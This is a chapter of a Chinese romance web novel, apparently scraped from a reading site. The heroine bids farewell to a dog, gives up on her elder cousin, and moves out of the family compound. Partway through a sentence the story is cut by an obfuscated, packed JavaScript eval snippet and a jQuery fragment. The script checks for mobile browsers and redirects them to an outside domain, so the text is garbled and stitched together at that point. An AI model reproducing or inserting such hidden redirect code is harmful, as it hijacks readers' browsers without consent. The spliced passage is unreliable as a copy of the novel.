程念姝叫阿大回去。
然而她刚转身就发现它又跟了上来。
阿大亦步亦趋地跟着她,双眸中流露出眷恋不舍的情绪。
程念姝的鼻子一酸,被它触动得缓了一会儿才问道,“阿大,你在不舍得我吗?”
她的眼角有一滴晶莹的泪。
阿大呜咽了声,盯着她悲伤的眼睛。
程念姝再次蹲下了身,阿大立刻凑到了她的手边。
程念姝将手放在了它的头上,她的声音有些无力,“阿大……我们以后又不是不见了……”
可她又明白这次的离开意味着什么……
眼角的那滴泪终于落到了地面上,程念姝又笑了,笑容带着自嘲,却又无奈,又释然。
“你还可以来找我啊,好了。”
程念姝拍了拍阿大的头,再次起身,“我真的回去了。”
这次转身后她没有再回头,阿大也没再跟上去,一直呆在原地看着她离开。
……
怜心将点心送到程念姝的手上就先回去收拾东西了。
程念姝到梅林苑的时候裴西棠也在家。
三夫人知道她们俩一向玩得好,在正屋与程念姝说了会话,又吩咐下人好好招待她便将地方留给她们先离开了。
“今日就要搬家吗?”
裴西棠捻了一块牛乳糕咬了一口,她的口味单一,爱吃各式各样的烧饼,而且得要是咸口的。
青团糕点这些她都不爱吃,不过程念姝做的她也能吃一些。
“嗯,得早点走,”程念姝与她分坐在案几的两边,她低头喝了口茶,喝完才继续道,“明日就要做生意了。”
此时同裴西棠说起来她才有些紧张。
裴西棠这才想起来:“啊!我还没去看过你的铺子呢!我下午……”
话音甫落她就想起了自己下午和宋卿落的约会。
程念姝察觉到她神色中的异样,没关系地道,“没事啊,你什么时候去都可以。”
她说完就又低头去喝茶了。
裴西棠闭上了嘴巴,她小心翼翼地瞅了程念姝一眼,她好像真的不关心的样子。
不知为何,裴西棠总有种自己背叛了她的感觉。
“我明日一大早就来!”
“好呀,店门口人多一点也好看。”
“那我叫她们跟我一起去!”裴西棠说着就看了旁边伺候着的丫鬟们一眼,“都去给你捧场!”
丫鬟们忙凑趣地跟着附和道:“奴婢一定去给表小姐捧场。”
程念姝忙笑着道:“那我就先谢过大家了,届时都不叫你们白跑一趟。”
一群人忙叽叽喳喳地道谢。
裴西棠看着程念姝脸上灿烂的笑容,若有所思了一会,终于还是挥了挥手,叫屋里的人都先退下去。
众人忙听吩咐退了下去,就连随身伺候裴西棠的锦书也跟着下去了。
等屋里的人都走干净了裴西棠才说出了自己下午和宋卿落有约之事。
她小心翼翼地觑着程念姝的神色说着,“大哥他……看上了宋卿落,和她约了休沐的时候去看樱花……”
“所以宋卿落约我今日出去玩的时候……我也不曾拒绝……”
“我知道,裴妍汐昨日已经跟我说了。”程念姝不意外她们俩的相处。
?
裴西棠一滞,想也知道四妹不会说出什么好话,说道昨日,她又想到昨日的手串。
裴西棠倒吸了一口,不敢想象她昨日经历了怎样一连串的晴天霹雳。
“那手串收得也不开心吧?”裴西棠简直想用扎心来替代。
“是有些难受,”程念姝想到昨日自己的失态,此时却又有种过去了的感觉,“不过都会过去的。”
裴西棠看着她淡然的模样,怀疑她被刺激过头了,替自己解释道,“其实我本来跟大伯母说的是你不喜欢戴手串的。”
“可没人信,最后我只能给你留了粉色的……”想着好看的颜色她到时候看见的时候会好过一点……但是并没有好多少。
这会程念姝还有什么不明白,喜不喜欢不重要,重要的是送到她的手上。
不过明白了长公主的用意她也没什么心虚的,她不过是喜欢大表哥,对他有一些觊觎。
可是她又没做什么,如果只是一些觊觎就要受到侮辱那她也没什么好说的。
又或者是“破落户”的出身,而大表哥又待她好,所以叫长公主更不能忍受吧。
程念姝看向裴西棠,“粉色的很好看,你不需要解释这么多,我完全明白。”
裴西棠担忧地握住她的手,温热的掌心暖住程念姝的手背,她问道,“你还好吗?”
程念姝点了点头,“还好,很快就会好的。”
裴西棠听着她自相矛盾的话,却诡异地明白了她的意思。
“西棠,我不会肖想大表哥了。”程念姝想她此时其实也没有那么肖想了……
是她的一叶障目,犯了痴,最后还连累姨母受累。
“哎……说什么肖想。”裴西棠握着她软软的手,不是很适应她突然贬低自己的说法。
不过是家世相差悬殊了些,可裴西棠转念一想确实又不能忽视这些东西给她带来了影响。
她一时分不清是敢“肖想”的她好,还是收起“肖想”的她好。
她兀自在心里叹着气。
程念姝没再说什么,该说的都说了,她又握了握裴西棠的手告别,“先不说了,我要先回去收拾东西了。”
“你有空就过来玩。”
“嗯嗯。”裴西棠知道她的时间紧张,也没有留她,忙起身送她。
裴西棠将她送到了门口两人才分别。
——
程念姝回去的时候怜心已经与程母将东西收拾得差不多了。
屋子里原有的东西她们不需要带走,只是要将衣服被褥与这几年姜傲凝送的东西带走。
还有厨房里这几年添置的东西。
屋子很快恢复成了她们来时的模样,加上她们又一向惜物,是以很多东西并没有多少变化。
程母已经检查完了别处,见程念姝回来了便叫她将自己屋里检查一遍。
“除了你姨母送的,看看还有什么要带的。”
程念姝忙应下了。
怜心一直没动程念姝屋里的东西,怕自己做主拿了不该拿的东西,只是在她回来跟着进了屋。
程念姝的视线扫过书案、矮榻、柜子……
其实这个院子严格来说不属于梧桐苑。
一开始住进来的时候,除了姜傲凝的关心,很多东西也是裴珩吩咐下人添置的。
书案上的文房四宝,睡榻前摆着的熏炉,原先是一座略小一圈的熏炉,可还没入冬就被换了现下用的象首金刚铜熏炉。
也是因为裴珩的吩咐,府里别处的下人也从不敢怠慢她们。
怜心见她的视线落在书案上,试探着问了句:“小姐,这个小屏风要不要带走?”
她记得这是四夫人送的。
程念姝摇了摇头,“不带了。”
屏风的确是姨母给她的,是她误会了。
只是姨母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497995|169201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从未表露过长公主对她的不喜,可笑她因为大表哥待她的好也从未去想过。
三年了,她是真的很惹人嫌了,还看不懂别人的眼色。
“那……小姐,我要不要把手串放在柜子里?”
怜心一直将手串揣在身上,她不想把它们带走叫她看到了伤心。
“带走吧。”程念姝伸出了手,“先给我。”
“哦。”怜心乖乖地掏了出来。
程念姝拿帕子包了,又将手串同孔雀羽放在了一处。
怜心看不懂她的意思,但是她安静地不说话。
程念姝将包好的东西塞进了包裹里。
可能照长公主的要求,以后她参加大表哥的婚礼还要戴上手串出席呢……
程念姝又打开了矮榻上的匣子,里面有一些裴珩写的方子,还有他搜罗的医书。
只用带走这些就好了。从此以后,她只需要记住恩情就够了。
她合上了匣子,“好了,收拾好了就走吧。”
“嗯!”
——
东西说多不多,说少也不少,一辆马车是不够的。
姜傲凝陪着她们一起去新家,离开的时候三夫人和裴西棠过来相送,最后二夫人过来了又耽搁了会。
一行人坐上马车的时候已经接近午时了。
马车徐徐地走着。
车厢内姜傲凝挽着程母说着自己的安排,“姐你们三个人住在那里我还是有些不放心,我找了个女护院每日晚间来保护你们,你们届时给她安排一个住处就行了。”
程母本想拒绝,可她看了眼自己如花似玉的女儿与一旁天真烂漫的怜心,难得地没有开口拒绝。
可是她没有拒绝很快程念姝却开口了。
“姨母,不用请护院,我准备养一只狗看家护院。”
然而她的话音甫落车窗外便响起了狗叫声。
一车的人在听到狗叫声的那一刻都有些呆滞。
程念姝顿了一下便掀开了帘子,果然,是阿大在追马车,而时风在后头追它。
“阿大!”
程念姝在窗边喊了它一声。怜心也凑到了窗边。
阿大的叫声急促,很快就赶了上来。
车内,姜傲凝用眼神问自己的姐姐,难不成姝儿准备将阿大带走,让阿大来看家护院?
程母无言了一瞬才摇了摇头。
车夫在外头问四夫人要不要将马车停下来。
姜傲凝又看向程母。程母看着快要将头探出窗外的人,须臾,她点了点头。
姜傲凝忙吩咐车夫停一会儿。
马车一停下,阿大就趴上了车轮,它看着窗边的程念姝不停地叫着。
程念姝的喉头微哽,探出手拍了拍它的头。
她的声音里带着一些哽咽,“阿大,我走了……”
阿大眼中含泪地看着程念姝,兀自仰头嗷嗷叫着。
阿大趴在车轮上没多久时风就赶到了,他将手上的铁链扣在阿大颈间的项圈上一边同程念姝与四夫人她们道歉。
马车很快又开始往前走了,车窗外,站在路中央的阿大与在它后面目送马车离开的时风的身影越来越小……
哎,姜傲凝在心里叹了口气,“阿大倒是重情……”
程母默然着。
程念姝却靠在窗边迟迟没有转过身。
马车向西而行,走过了西长安街,很快又拐向了宣武门里街,两辆马车一前一后消失在拐角处。
喧嚣的街道上,马车离开的地方灰尘刚刚落下,下一瞬却骤然出现了一阵清脆的马蹄声。